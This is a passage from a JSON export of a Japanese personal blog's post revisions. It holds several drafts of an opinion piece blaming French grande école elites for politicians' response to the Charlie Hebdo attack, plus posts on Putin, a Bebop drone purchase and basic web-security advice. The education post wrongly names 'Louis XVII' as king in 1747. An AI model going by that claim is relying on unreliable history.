フランスのエリートはグランゼコールなる教育機関を卒業した、つまらない人間\r\n\r\nばかりが政治家に結集している結果だと僕は思っています。\r\n\r\nここで非常に辛い現実があります。上述の通りフランスで一番権威のあるエリート養成学校は ENA といいます。現在のフランス大統領フランソワ・オランドも ENA 出身者です。ところで[ハム速を守ろう!](http://www.itmedia.co.jp/news/articles/1206/11/news054.html)で有名な片山さつき氏は ENA の出身者です。\r\n\r\nつまりフランスのエリート教育というのはその程度の水準であって、しかもその程度の水準のエリート教育を志すようなタイプの人間にフランスの政治や行政は支配されています。\r\n\r\n実際のところフランス社会も当然多様性に満ちた社会であり。人々は様々な意見を持っています。にも拘わらずフランス社会が例のテロ事件に対して少々ヒスタリックかつ滑稽な反応を示しているかのように見えるのはそのあたりが理由なのではないか、と僕は考えています。\r\n\r\nまあ、大変ですね。","created_at":"2015-01-24T17:21:17.000Z","updated_at":"2015-01-24T17:21:17.000Z"},{"id":2788,"name":"text/フランスの教育制度","body":"%blog%\r\n\r\n中国では科挙と呼ばれる制度で行政官を採用していたことは、比較的よく知られています。この制度は極論すると、「試験を通じて官僚になるためのルートは用意するが、教育機関は用意しない」というものです。\r\n\r\n科挙なる試験を突破するための教育は、全て民間に任されていたわけです。すなわち、優秀な官僚になるための教育は全て民間に委託されていたと言っても過言ではありません。\r\n\r\nこのような方針は日本においても採用されていたと言ってよいでしょう。江戸時代において諸侯であるとか、徳川将軍家などと呼ばれる人達は、戦国時代から続く武士の家だとか、あるいは武家株を購入するだけの資力を持った商人の自助努力に頼って人材を集めていましたし、明治以降の大日本帝国や現日本政府は帝国大学を出て公務員になる試験を受ける人材を政府の資金で教育するということはしていません。\r\n\r\n現代においてあくまで各家庭が自らの努力で子弟を教育し、その上澄みを国家公務員試験でかっさらえば、国家機構を安定的に運用するだけの優秀な人材を獲得することができます。\r\n\r\nつまり、日本(や中国)においては「公務員」になりたい人は沢山いて、国家が一々教育するまでもなく民間が勝手に優秀な人材を育ててくれるので、国家は試験をするだけで優秀な人材を得られたわけです。\r\n\r\n一方フランスではそうではありませんでした。\r\n\r\n1747 年、フランス国王ルイ 17 世は「国立土木学校」なる学校をパリに創建しました。これは国家の公共事業を推進する技術者を王家自らが教育、養成する学校でした。フランスの絶対王政期においてでさえ、国家は優秀な技術系官僚を自ら教育せねばならなかったわけです。\r\n\r\n1789 年、フランス革命が勃発し、貴族政治は終焉を迎えたため、フランスは国家を運営するエリートを多数必要とするようになりました。結果、フランスは「国立土木学校」に類似する官僚養成のための学校を多数設置しました。\r\n\r\nこれらの学校は「グランゼコール(Grandes Écoles)」と総称され、直訳すれば「すごい学校」「高等な学校」というような意味になります。\r\n\r\nいずれにせよ 18 世紀以降フランスは\r\n\r\n- 政府自らが官僚を教育する学校を設置\r\n\r\nしなければ優秀な官僚を得ることが不可能となっていたわけです。\r\n\r\nそうして時は流れ第二次世界大戦直後、時のフランス政府首班・シャルル・ド・ゴールはナチス・ドイツにより荒廃した国土に優秀な官僚のいないという事実に直面しました。\r\n\r\nここでド・ゴールが採用した手段は優秀人材を在野から登用することではなく、「国立行政学院(ENA)」なる新しいグランゼコールを設立することでした。\r\n\r\nこれはようするに在野の人材のうち使い物になるのは少なく、改めて新時代の人材を国家自らが教育する必要があったということです。\r\n\r\nこのような事実は何を示しているかというと、「フランス人の多くは別に公務員になりたいわけではない」ということです。\r\n\r\n本邦においては多くの優秀な人材が公務員を目指しています。また国家公務員試験であるとか、防衛大学校入学試験だとかいった公務員採用の試験には放っておいても様々な人材が勝手に集まります。\r\n\r\n簡単に例を示せば、我が国では**天木直人**と**田母神俊雄**と**佐藤優**が放っておいても公務員になります。彼等が優秀かはさておき、いろんな人が集まっているということだけは間違いないわけです。\r\n\r\n一方フランスにおいては\r\n\r\n- 長い苦労と学習期間を求められるグランゼコールなるエリート養成学校に入ったのち、国家公務員になろう\r\n\r\nという奇特な考えを持つ人材のみが公務員になります。現代において「エリート養成機関」と認められるグランゼコールは上述の ENA や国立土木学校を含めてわずかに 5 校前後に過ぎません。\r\n\r\nようするに、フランスではそれら 5 校のグランゼコールに進学を志合格するような同じようなタイプの人間ばかりが官僚や政治家になるということです。東大やらなんやらを卒業しておけばとりあえずエリートと認められる我が国ほど多様な人材が供給される環境にはないわけです。\r\n\r\nところで正直いって我々日本人からは「シャルリーなる週刊誌を守ろう!!」と政治家が大声でいっている状況には或る種の不自然さを感じさせるところがあると思います。\r\n\r\n例えば、例えばですよ、公明党の太田明宏代表と民主党の岡田克也代表が手と手をとって**「ビートたけしによるフライデー襲撃事件を許すな!!表現の自由を守れ!!」**などとがなっていたらお笑いでしかないです。ですがフランスではこれに似た出来事が起きています。\r\n\r\nこれは\r\n\r\n- フランスのエリートはグランゼコールなる教育機関を卒業した、つまらない人間\r\n\r\nばかりが政治家に結集している結果だと僕は思っています。\r\n\r\nここで非常に辛い現実があります。上述の通りフランスで一番権威のあるエリート養成学校は ENA といいます。現在のフランス大統領フランソワ・オランドも ENA 出身者です。ところで[ハム速を守ろう!](http://www.itmedia.co.jp/news/articles/1206/11/news054.html)で有名な片山さつき氏は ENA の出身者です。\r\n\r\nつまりフランスのエリート教育というのはその程度の水準であって、しかもその程度の水準のエリート教育を志すようなタイプの人間にフランスの政治や行政は支配されています。\r\n\r\n実際のところフランス社会も当然多様性に満ちた社会であり。人々は様々な意見を持っています。にも拘わらずフランス社会が例のテロ事件に対して少々ヒスタリックかつ滑稽な反応を示しているかのように見えるのはそのあたりが理由なのではないか、と僕は考えています。\r\n\r\nまあ、大変ですね。","created_at":"2015-01-24T17:22:52.000Z","updated_at":"2015-01-24T17:22:52.000Z"},{"id":2789,"name":"text/フランスの教育制度","body":"%blog%\r\n\r\n中国では科挙と呼ばれる制度で行政官を採用していたことは、比較的よく知られています。この制度は極論すると、「試験を通じて官僚になるためのルートは用意するが、教育機関は用意しない」というものです。\r\n\r\n科挙なる試験を突破するための教育は、全て民間に任されていたわけです。すなわち、優秀な官僚になるための教育は全て民間に委託されていたと言っても過言ではありません。\r\n\r\nこのような方針は日本においても採用されていたと言ってよいでしょう。江戸時代において諸侯であるとか、徳川将軍家などと呼ばれる人達は、戦国時代から続く武士の家だとか、あるいは武家株を購入するだけの資力を持った商人の自助努力に頼って人材を集めていましたし、明治以降の大日本帝国や現日本政府は帝国大学を出て公務員になる試験を受ける人材を政府の資金で教育するということはしていません。\r\n\r\n現代においてあくまで各家庭が自らの努力で子弟を教育し、その上澄みを国家公務員試験でかっさらえば、国家機構を安定的に運用するだけの優秀な人材を獲得することができます。\r\n\r\nつまり、日本(や中国)においては「公務員」になりたい人は沢山いて、国家が一々教育するまでもなく民間が勝手に優秀な人材を育ててくれるので、国家は試験をするだけで優秀な人材を得られたわけです。\r\n\r\n一方フランスではそうではありませんでした。\r\n\r\n1747 年、フランス国王ルイ 17 世は「国立土木学校」なる学校をパリに創建しました。これは国家の公共事業を推進する技術者を王家自らが教育、養成する学校でした。フランスの絶対王政期においてでさえ、国家は優秀な技術系官僚を自ら教育せねばならなかったわけです。\r\n\r\n1789 年、フランス革命が勃発し、貴族政治は終焉を迎えたため、フランスは国家を運営するエリートを多数必要とするようになりました。結果、フランスは「国立土木学校」に類似する官僚養成のための学校を多数設置しました。\r\n\r\nこれらの学校は「グランゼコール(Grandes Écoles)」と総称され、直訳すれば「すごい学校」「高等な学校」というような意味になります。\r\n\r\nいずれにせよ 18 世紀以降フランスは\r\n\r\n- 政府自らが官僚を教育する学校を設置\r\n\r\nしなければ優秀な官僚を得ることが不可能となっていたわけです。\r\n\r\nそうして時は流れ第二次世界大戦直後、時のフランス政府首班・シャルル・ド・ゴールはナチス・ドイツにより荒廃した国土に優秀な官僚のいないという事実に直面しました。\r\n\r\nここでド・ゴールが採用した手段は優秀人材を在野から登用することではなく、「国立行政学院(ENA)」なる新しいグランゼコールを設立することでした。\r\n\r\nこれはようするに在野の人材のうち使い物になるのは少なく、改めて新時代の人材を国家自らが教育する必要があったということです。\r\n\r\nこのような事実は何を示しているかというと、「フランス人の多くは別に公務員になりたいわけではない」ということです。\r\n\r\n本邦においては多くの優秀な人材が公務員を目指しています。また国家公務員試験であるとか、防衛大学校入学試験だとかいった公務員採用の試験には放っておいても様々な人材が勝手に集まります。\r\n\r\n簡単に例を示せば、我が国では**天木直人**と**田母神俊雄**と**佐藤優**が放っておいても公務員になります。彼等が優秀かはさておき、いろんな人が集まっているということだけは間違いないわけです。\r\n\r\n一方フランスにおいては\r\n\r\n- 長い苦労と学習期間を求められるグランゼコールなるエリート養成学校に入ったのち、国家公務員になろう\r\n\r\nという奇特な考えを持つ人材のみが公務員になります。現代において「エリート養成機関」と認められるグランゼコールは上述の ENA や国立土木学校を含めてわずかに 5 校前後に過ぎません。\r\n\r\nようするに、フランスではそれら 5 校のグランゼコールに進学を志合格するような同じようなタイプの人間ばかりが官僚や政治家になるということです。東大やらなんやらを卒業しておけばとりあえずエリートと認められる我が国ほど多様な人材が供給される環境にはないわけです。\r\n\r\nところで正直いって我々日本人からは「シャルリーなる週刊誌を守ろう!!」と政治家が大声でいっている状況には或る種の不自然さを感じさせるところがあると思います。\r\n\r\n例えば、例えばですよ、公明党の太田明宏代表と民主党の岡田克也代表が手と手をとって**「ビートたけしによるフライデー襲撃事件を許すな!!表現の自由を守れ!!」**などとがなっていたらお笑いでしかないです。ですがフランスではこれに似た出来事が起きています。\r\n\r\nこれは\r\n\r\n- フランスのエリートはグランゼコールなる教育機関を卒業した、冗談を冗談でさらっと流したり無視したりできないつまらない人間\r\n\r\nばかりが政治家に結集している結果だと僕は思っています。\r\n\r\nここで非常に辛い現実があります。上述の通りフランスで一番権威のあるエリート養成学校は ENA といいます。現在のフランス大統領フランソワ・オランドも ENA 出身者です。ところで[ハム速を守ろう!](http://www.itmedia.co.jp/news/articles/1206/11/news054.html)で有名な片山さつき氏は ENA の出身者です。\r\n\r\nつまりフランスのエリート教育というのはその程度の水準であって、しかもその程度の水準のエリート教育を志すようなタイプの人間にフランスの政治や行政は支配されています。\r\n\r\n実際のところフランス社会も当然多様性に満ちた社会であり。人々は様々な意見を持っています。にも拘わらずフランス社会が例のテロ事件に対して少々ヒスタリックかつ滑稽な反応を示しているかのように見えるのはそのあたりが理由なのではないか、と僕は考えています。\r\n\r\nまあ、大変ですね。","created_at":"2015-01-24T17:23:54.000Z","updated_at":"2015-01-24T17:23:54.000Z"},{"id":2790,"name":"text/フランスの教育制度","body":"%blog%\r\n\r\n中国では科挙と呼ばれる制度で行政官を採用していたことは、比較的よく知られています。この制度は極論すると、「試験を通じて官僚になるためのルートは用意するが、教育機関は用意しない」というものです。\r\n\r\n科挙なる試験を突破するための教育は、全て民間に任されていたわけです。すなわち、優秀な官僚になるための教育は全て民間に委託されていたと言っても過言ではありません。\r\n\r\nこのような方針は日本においても採用されていたと言ってよいでしょう。江戸時代において諸侯であるとか、徳川将軍家などと呼ばれる人達は、戦国時代から続く武士の家だとか、あるいは武家株を購入するだけの資力を持った商人の自助努力に頼って人材を集めていましたし、明治以降の大日本帝国や現日本政府は帝国大学を出て公務員になる試験を受ける人材を政府の資金で教育するということはしていません。\r\n\r\n現代においてあくまで各家庭が自らの努力で子弟を教育し、その上澄みを国家公務員試験でかっさらえば、国家機構を安定的に運用するだけの優秀な人材を獲得することができます。\r\n\r\nつまり、日本(や中国)においては「公務員」になりたい人は沢山いて、国家が一々教育するまでもなく民間が勝手に優秀な人材を育ててくれるので、国家は試験をするだけで優秀な人材を得られたわけです。\r\n\r\n一方フランスではそうではありませんでした。\r\n\r\n1747 年、フランス国王ルイ 17 世は「国立土木学校」なる学校をパリに創建しました。これは国家の公共事業を推進する技術者を王家自らが教育、養成する学校でした。フランスの絶対王政期においてでさえ、国家は優秀な技術系官僚を自ら教育せねばならなかったわけです。\r\n\r\n1789 年、フランス革命が勃発し、貴族政治は終焉を迎えたため、フランスは国家を運営するエリートを多数必要とするようになりました。結果、フランスは「国立土木学校」に類似する官僚養成のための学校を多数設置しました。\r\n\r\nこれらの学校は「グランゼコール(Grandes Écoles)」と総称され、直訳すれば「すごい学校」「高等な学校」というような意味になります。\r\n\r\nいずれにせよ 18 世紀以降フランスは\r\n\r\n- 政府自らが官僚を教育する学校を設置\r\n\r\nしなければ優秀な官僚を得ることが不可能となっていたわけです。\r\n\r\nそうして時は流れ第二次世界大戦直後、時のフランス政府首班・シャルル・ド・ゴールはナチス・ドイツにより荒廃した国土に優秀な官僚のいないという事実に直面しました。\r\n\r\nここでド・ゴールが採用した手段は優秀人材を在野から登用することではなく、「国立行政学院(ENA)」なる新しいグランゼコールを設立することでした。\r\n\r\nこれはようするに在野の人材のうち使い物になるのは少なく、改めて新時代の人材を国家自らが教育する必要があったということです。\r\n\r\nこのような事実は何を示しているかというと、「フランス人の多くは別に公務員になりたいわけではない」ということです。\r\n\r\n本邦においては多くの優秀な人材が公務員を目指しています。また国家公務員試験であるとか、防衛大学校入学試験だとかいった公務員採用の試験には放っておいても様々な人材が勝手に集まります。\r\n\r\n簡単に例を示せば、我が国では**天木直人**と**田母神俊雄**と**佐藤優**が放っておいても公務員になります。彼等が優秀かはさておき、いろんな人が集まっているということだけは間違いないわけです。\r\n\r\n一方フランスにおいては\r\n\r\n- 長い苦労と学習期間を求められるグランゼコールなるエリート養成学校に入ったのち、国家公務員になろう\r\n\r\nという奇特な考えを持つ人材のみが公務員になります。現代において「エリート養成機関」と認められるグランゼコールは上述の ENA や国立土木学校を含めてわずかに 5 校前後に過ぎません。\r\n\r\nようするに、フランスではそれら 5 校のグランゼコールに進学を志合格するような同じようなタイプの人間ばかりが官僚や政治家になるということです。東大やらなんやらを卒業しておけばとりあえずエリートと認められる我が国ほど多様な人材が供給される環境にはないわけです。\r\n\r\nところで正直いって我々日本人からは「シャルリーなる週刊誌を守ろう!!」と政治家が大声でいっている状況には或る種の不自然さを感じさせるところがあると思います。\r\n\r\n例えば、例えばですよ、公明党の太田明宏代表と民主党の岡田克也代表が手と手をとって**「ビートたけしによるフライデー襲撃事件を許すな!!表現の自由を守れ!!」**などとがなっていたらお笑いでしかないです。ですがフランスではこれに似た出来事が起きています。\r\n\r\nこれは\r\n\r\n- フランスのエリートはグランゼコールなる教育機関を卒業した、冗談を冗談でさらっと流したり無視したりできないつまらない人間\r\n\r\nばかりが政治家に結集している結果だと僕は思っています。\r\n\r\nここで非常に辛い現実があります。上述の通りフランスで一番権威のあるエリート養成学校は ENA といいます。現在のフランス大統領フランソワ・オランドも ENA 出身者です。ところで[ハム速を守ろう!](http://www.itmedia.co.jp/news/articles/1206/11/news054.html)で有名な片山さつき氏は ENA の出身者です。\r\n\r\nつまりフランスのエリート教育というのはその程度の水準であって、しかもその程度の水準のエリート教育を志すようなタイプの人間にフランスの政治や行政は支配されています。\r\n\r\n実際のところフランス社会も当然多様性に満ちた社会であり。人々は様々な意見を持っています。にも拘わらずフランス社会が例のテロ事件に対して少々ヒステリックかつ滑稽な反応を示しているかのように見えるのはそのあたりが理由なのではないか、と僕は考えています。\r\n\r\nまあ、大変ですね。","created_at":"2015-01-24T17:32:55.000Z","updated_at":"2015-01-24T17:32:55.000Z"},{"id":2791,"name":"text/プーチンを理解する","body":"%blog% プーチン大統領の戦略を理解するために\r\n\r\nウクライナ情勢の緊張は解けることがなく、ロシアのプーチン大統領の戦略を理解しようと、欧米や日本のマスメディア、学者らが喧喧諤諤の議論を繰り返しています。\r\n\r\nしかし我々はプーチン大統領を理解する前にまずロシア人を理解すべきではないでしょうか。というわけでこれらの動画を見てみましょう。\r\n\r\n\u003ciframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/vfzFlko6LbY\" frameborder=\"0\" allowfullscreen\u003e\u003c/iframe\u003e\r\n\r\n\u003ciframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/TDZXj4j5__w\" frameborder=\"0\" allowfullscreen\u003e\u003c/iframe\u003e\r\n\r\n\u003ciframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/tn68HL8zfog\" frameborder=\"0\" allowfullscreen\u003e\u003c/iframe\u003e\r\n\r\nこのような人達と上手くやっていく方法を私は上手く想像することができないのであります。","created_at":"2015-01-29T10:29:48.000Z","updated_at":"2015-01-29T10:29:48.000Z"},{"id":2792,"name":"text/Bebop Drone 買った","body":"%blog%\r\n\r\n[これ](http://www.amazon.com/dp/B00OOR9060/)買った。送料込みで 6 万 5 千円ぐらいですかね。最近の Amazon.com は国内にもがんがん配送してくれて便利。\r\n\r\n6 万 5 千円、割と高いっちゃ高いんだけど、まあミラーレス一眼とかよりは安いしとりあえず買ってもいい感じだと思う。\r\n\r\n\u003cblockquote class=\"instagram-media\" data-instgrm-captioned data-instgrm-version=\"4\" style=\" background:#FFF; border:0; border-radius:3px; box-shadow:0 0 1px 0 rgba(0,0,0,0.5),0 1px 10px 0 rgba(0,0,0,0.15); margin: 1px; max-width:658px; padding:0; width:99.375%; width:-webkit-calc(100% - 2px); width:calc(100% - 2px);\"\u003e\u003cdiv style=\"padding:8px;\"\u003e \u003cdiv style=\" background:#F8F8F8; line-height:0; margin-top:40px; padding:50% 0; text-align:center; width:100%;\"\u003e \u003cdiv style=\" background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACwAAAAsCAMAAAApWqozAAAAGFBMVEUiIiI9PT0eHh4gIB4hIBkcHBwcHBwcHBydr+JQAAAACHRSTlMABA4YHyQsM5jtaMwAAADfSURBVDjL7ZVBEgMhCAQBAf//42xcNbpAqakcM0ftUmFAAIBE81IqBJdS3lS6zs3bIpB9WED3YYXFPmHRfT8sgyrCP1x8uEUxLMzNWElFOYCV6mHWWwMzdPEKHlhLw7NWJqkHc4uIZphavDzA2JPzUDsBZziNae2S6owH8xPmX8G7zzgKEOPUoYHvGz1TBCxMkd3kwNVbU0gKHkx+iZILf77IofhrY1nYFnB/lQPb79drWOyJVa/DAvg9B/rLB4cC+Nqgdz/TvBbBnr6GBReqn/nRmDgaQEej7WhonozjF+Y2I/fZou/qAAAAAElFTkSuQmCC); display:block; height:44px; margin:0 auto -44px; position:relative; top:-22px; width:44px;\"\u003e\u003c/div\u003e\u003c/div\u003e \u003cp style=\" margin:8px 0 0 0; padding:0 4px;\"\u003e \u003ca href=\"https://instagram.com/p/ygUBsfPxHW/\" style=\" color:#000; font-family:Arial,sans-serif; font-size:14px; font-style:normal; font-weight:normal; line-height:17px; text-decoration:none; word-wrap:break-word;\" target=\"_top\"\u003e西友国領店です\u003c/a\u003e\u003c/p\u003e \u003cp style=\" color:#c9c8cd; font-family:Arial,sans-serif; font-size:14px; line-height:17px; margin-bottom:0; margin-top:8px; overflow:hidden; padding:8px 0 7px; text-align:center; text-overflow:ellipsis; white-space:nowrap;\"\u003e@ssig33が投稿した動画 - \u003ctime style=\" font-family:Arial,sans-serif; font-size:14px; line-height:17px;\" datetime=\"2015-01-31T04:27:25+00:00\"\u003e2015 1月 30 8:27午後 PST\u003c/time\u003e\u003c/p\u003e\u003c/div\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"instagram-media\" data-instgrm-captioned data-instgrm-version=\"4\" style=\" background:#FFF; border:0; border-radius:3px; box-shadow:0 0 1px 0 rgba(0,0,0,0.5),0 1px 10px 0 rgba(0,0,0,0.15); margin: 1px; max-width:658px; padding:0; width:99.375%; width:-webkit-calc(100% - 2px); width:calc(100% - 2px);\"\u003e\u003cdiv style=\"padding:8px;\"\u003e \u003cdiv style=\" background:#F8F8F8; line-height:0; margin-top:40px; padding:50% 0; text-align:center; width:100%;\"\u003e \u003cdiv style=\" background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACwAAAAsCAMAAAApWqozAAAAGFBMVEUiIiI9PT0eHh4gIB4hIBkcHBwcHBwcHBydr+JQAAAACHRSTlMABA4YHyQsM5jtaMwAAADfSURBVDjL7ZVBEgMhCAQBAf//42xcNbpAqakcM0ftUmFAAIBE81IqBJdS3lS6zs3bIpB9WED3YYXFPmHRfT8sgyrCP1x8uEUxLMzNWElFOYCV6mHWWwMzdPEKHlhLw7NWJqkHc4uIZphavDzA2JPzUDsBZziNae2S6owH8xPmX8G7zzgKEOPUoYHvGz1TBCxMkd3kwNVbU0gKHkx+iZILf77IofhrY1nYFnB/lQPb79drWOyJVa/DAvg9B/rLB4cC+Nqgdz/TvBbBnr6GBReqn/nRmDgaQEej7WhonozjF+Y2I/fZou/qAAAAAElFTkSuQmCC); display:block; height:44px; margin:0 auto -44px; position:relative; top:-22px; width:44px;\"\u003e\u003c/div\u003e\u003c/div\u003e \u003cp style=\" margin:8px 0 0 0; padding:0 4px;\"\u003e \u003ca href=\"https://instagram.com/p/ygbk5KvxP6/\" style=\" color:#000; font-family:Arial,sans-serif; font-size:14px; font-style:normal; font-weight:normal; line-height:17px; text-decoration:none; word-wrap:break-word;\" target=\"_top\"\u003e都庁\u003c/a\u003e\u003c/p\u003e \u003cp style=\" color:#c9c8cd; font-family:Arial,sans-serif; font-size:14px; line-height:17px; margin-bottom:0; margin-top:8px; overflow:hidden; padding:8px 0 7px; text-align:center; text-overflow:ellipsis; white-space:nowrap;\"\u003e@ssig33が投稿した動画 - \u003ctime style=\" font-family:Arial,sans-serif; font-size:14px; line-height:17px;\" datetime=\"2015-01-31T05:33:23+00:00\"\u003e2015 1月 30 9:33午後 PST\u003c/time\u003e\u003c/p\u003e\u003c/div\u003e\u003c/blockquote\u003e\r\n\u003cscript async defer src=\"//platform.instagram.com/en_US/embeds.js\"\u003e\u003c/script\u003e\r\n\r\nこういうの気軽に撮影できる。\r\n\r\n操縦、昔のラジコンとかと比べて簡単らしいんだけど、正直かなり難しい。あと今日は風が強くでだいぶ流される。","created_at":"2015-01-31T06:44:42.000Z","updated_at":"2015-01-31T06:44:42.000Z"},{"id":2793,"name":"text/Bebop Drone 買った","body":"%blog%\r\n\r\n[これ](http://www.amazon.com/dp/B00OOR9060/)買った。送料込みで 6 万 5 千円ぐらいですかね。最近の Amazon.com は国内にもがんがん配送してくれて便利。\r\n\r\n6 万 5 千円、割と高いっちゃ高いんだけど、まあミラーレス一眼とかよりは安いしとりあえず買ってもいい感じだと思う。\r\n\r\n\u003cblockquote class=\"instagram-media\" data-instgrm-captioned data-instgrm-version=\"4\" style=\" background:#FFF; border:0; border-radius:3px; box-shadow:0 0 1px 0 rgba(0,0,0,0.5),0 1px 10px 0 rgba(0,0,0,0.15); margin: 1px; max-width:658px; padding:0; width:99.375%; width:-webkit-calc(100% - 2px); width:calc(100% - 2px);\"\u003e\u003cdiv style=\"padding:8px;\"\u003e \u003cdiv style=\" background:#F8F8F8; line-height:0; margin-top:40px; padding:50% 0; text-align:center; width:100%;\"\u003e \u003cdiv style=\" background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACwAAAAsCAMAAAApWqozAAAAGFBMVEUiIiI9PT0eHh4gIB4hIBkcHBwcHBwcHBydr+JQAAAACHRSTlMABA4YHyQsM5jtaMwAAADfSURBVDjL7ZVBEgMhCAQBAf//42xcNbpAqakcM0ftUmFAAIBE81IqBJdS3lS6zs3bIpB9WED3YYXFPmHRfT8sgyrCP1x8uEUxLMzNWElFOYCV6mHWWwMzdPEKHlhLw7NWJqkHc4uIZphavDzA2JPzUDsBZziNae2S6owH8xPmX8G7zzgKEOPUoYHvGz1TBCxMkd3kwNVbU0gKHkx+iZILf77IofhrY1nYFnB/lQPb79drWOyJVa/DAvg9B/rLB4cC+Nqgdz/TvBbBnr6GBReqn/nRmDgaQEej7WhonozjF+Y2I/fZou/qAAAAAElFTkSuQmCC); display:block; height:44px; margin:0 auto -44px; position:relative; top:-22px; width:44px;\"\u003e\u003c/div\u003e\u003c/div\u003e \u003cp style=\" margin:8px 0 0 0; padding:0 4px;\"\u003e \u003ca href=\"https://instagram.com/p/ygUBsfPxHW/\" style=\" color:#000; font-family:Arial,sans-serif; font-size:14px; font-style:normal; font-weight:normal; line-height:17px; text-decoration:none; word-wrap:break-word;\" target=\"_top\"\u003e西友国領店です\u003c/a\u003e\u003c/p\u003e \u003cp style=\" color:#c9c8cd; font-family:Arial,sans-serif; font-size:14px; line-height:17px; margin-bottom:0; margin-top:8px; overflow:hidden; padding:8px 0 7px; text-align:center; text-overflow:ellipsis; white-space:nowrap;\"\u003e@ssig33が投稿した動画 - \u003ctime style=\" font-family:Arial,sans-serif; font-size:14px; line-height:17px;\" datetime=\"2015-01-31T04:27:25+00:00\"\u003e2015 1月 30 8:27午後 PST\u003c/time\u003e\u003c/p\u003e\u003c/div\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"instagram-media\" data-instgrm-captioned data-instgrm-version=\"4\" style=\" background:#FFF; border:0; border-radius:3px; box-shadow:0 0 1px 0 rgba(0,0,0,0.5),0 1px 10px 0 rgba(0,0,0,0.15); margin: 1px; max-width:658px; padding:0; width:99.375%; width:-webkit-calc(100% - 2px); width:calc(100% - 2px);\"\u003e\u003cdiv style=\"padding:8px;\"\u003e \u003cdiv style=\" background:#F8F8F8; line-height:0; margin-top:40px; padding:50% 0; text-align:center; width:100%;\"\u003e \u003cdiv style=\" background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACwAAAAsCAMAAAApWqozAAAAGFBMVEUiIiI9PT0eHh4gIB4hIBkcHBwcHBwcHBydr+JQAAAACHRSTlMABA4YHyQsM5jtaMwAAADfSURBVDjL7ZVBEgMhCAQBAf//42xcNbpAqakcM0ftUmFAAIBE81IqBJdS3lS6zs3bIpB9WED3YYXFPmHRfT8sgyrCP1x8uEUxLMzNWElFOYCV6mHWWwMzdPEKHlhLw7NWJqkHc4uIZphavDzA2JPzUDsBZziNae2S6owH8xPmX8G7zzgKEOPUoYHvGz1TBCxMkd3kwNVbU0gKHkx+iZILf77IofhrY1nYFnB/lQPb79drWOyJVa/DAvg9B/rLB4cC+Nqgdz/TvBbBnr6GBReqn/nRmDgaQEej7WhonozjF+Y2I/fZou/qAAAAAElFTkSuQmCC); display:block; height:44px; margin:0 auto -44px; position:relative; top:-22px; width:44px;\"\u003e\u003c/div\u003e\u003c/div\u003e \u003cp style=\" margin:8px 0 0 0; padding:0 4px;\"\u003e \u003ca href=\"https://instagram.com/p/ygbk5KvxP6/\" style=\" color:#000; font-family:Arial,sans-serif; font-size:14px; font-style:normal; font-weight:normal; line-height:17px; text-decoration:none; word-wrap:break-word;\" target=\"_top\"\u003e都庁\u003c/a\u003e\u003c/p\u003e \u003cp style=\" color:#c9c8cd; font-family:Arial,sans-serif; font-size:14px; line-height:17px; margin-bottom:0; margin-top:8px; overflow:hidden; padding:8px 0 7px; text-align:center; text-overflow:ellipsis; white-space:nowrap;\"\u003e@ssig33が投稿した動画 - \u003ctime style=\" font-family:Arial,sans-serif; font-size:14px; line-height:17px;\" datetime=\"2015-01-31T05:33:23+00:00\"\u003e2015 1月 30 9:33午後 PST\u003c/time\u003e\u003c/p\u003e\u003c/div\u003e\u003c/blockquote\u003e\r\n\u003cscript async defer src=\"//platform.instagram.com/en_US/embeds.js\"\u003e\u003c/script\u003e\r\n\r\nこういうの気軽に撮影できる。\r\n\r\n操縦、昔のラジコンとかと比べて簡単らしいんだけど、正直かなり難しい。あと今日は風が強くでだいぶ流される。\r\n\r\nプロペラとれるから鞄とかに入れやすいんだけど、まあそれでもだいぶデカい。 ZANO も買ったほうがいいと思った。","created_at":"2015-01-31T06:45:56.000Z","updated_at":"2015-01-31T06:45:56.000Z"},{"id":2794,"name":"text/よく分からない人のためのセキュリティ","body":"%blog%\r\n\r\nいろいろと原則論はあるんですが。昨今のアプリケーションは複雑化し、扱う情報はよりセンシティブになり、そしてより幅広く使われるようになっています。よって「安全な」アプリケーションを作るために必要な知識はますます増える傾向にあります。\r\n\r\nよく分かってない人は以下のことにとりあえず気をつけましょう\r\n\r\n### 1. なるべく自分で作らない\r\n\r\nこれは最も重要なことです。検索する、他人に聞く、自分で考えない。これは重要です。大抵の問題は他人が作ってくれた解決策を適用できます。\r\n\r\n例えばセキュアな問合せフォームを作ることにしましょう。気をつけるべきことは以下のことぐらいでしょうか。\r\n\r\n- 送信内容の確認画面を表示する場合、ユーザーの入力した値は適切にエスケープするように\r\n- 送信内容をアプリケーションの DB に格納する場合には SQL インジェクションを防がなければならないので、プリペアドステートメントを用いる\r\n- CSRF 対策のためにトークン吐いて検証するような仕組みを入れる\r\n\r\nめんどうですね。これを自前で実装しようと思ったら時間もかかるし、なんかバグっててダメでしたとなりがちです。\r\n\r\nところが世の中にあるフレームワークを使うと、自然にフォーム置いて DB に値入れるコード書けば上記は達成されます。だいたいエスケープは自動で行なわれますし、プリペアドステートメントは使わさせられますし(あるいはもっと DB が隠蔽されてるか)、 CSRF 対策も放っとくと入れてくれてることが多いです。\r\n\r\nなるべく自分でものを作るのはやめましょう。時間の無駄ですし、性能が悪いものができますし、セキュリティ上の問題が発生します。\r\n\r\n「現代のフレームワークは複雑だから、初学者はなるべく生の PHP を使ってやってみよう」みたいなことを言う人がいますが、これに騙されてはいけません。\r\n\r\nそういうことを言う人は、セキュアなアプリケーション開発の為の知見が積み重なっていき、ツールが進歩してきたこの 20 年の歴史をリアルタイムに追跡してきたからこそ、的確な知識を得ることができたのです。\r\n\r\nつまりそういう人が言うことを聞いていては、 20 年間かけないとその人なみのプログラマーになれないということです。これは極めて非効率です。\r\n\r\nというわけで CakePHP とか Ruby on Rails とか使いましょう。フレームワークの動作について疑問に思うことがあったら、フレームワークのソース読んだり知ってそうな人に聞いたりしましょう。\r\n\r\n### 2. jQuery を警戒する\r\n我々はなんだかんだいってあと数年は jQuery 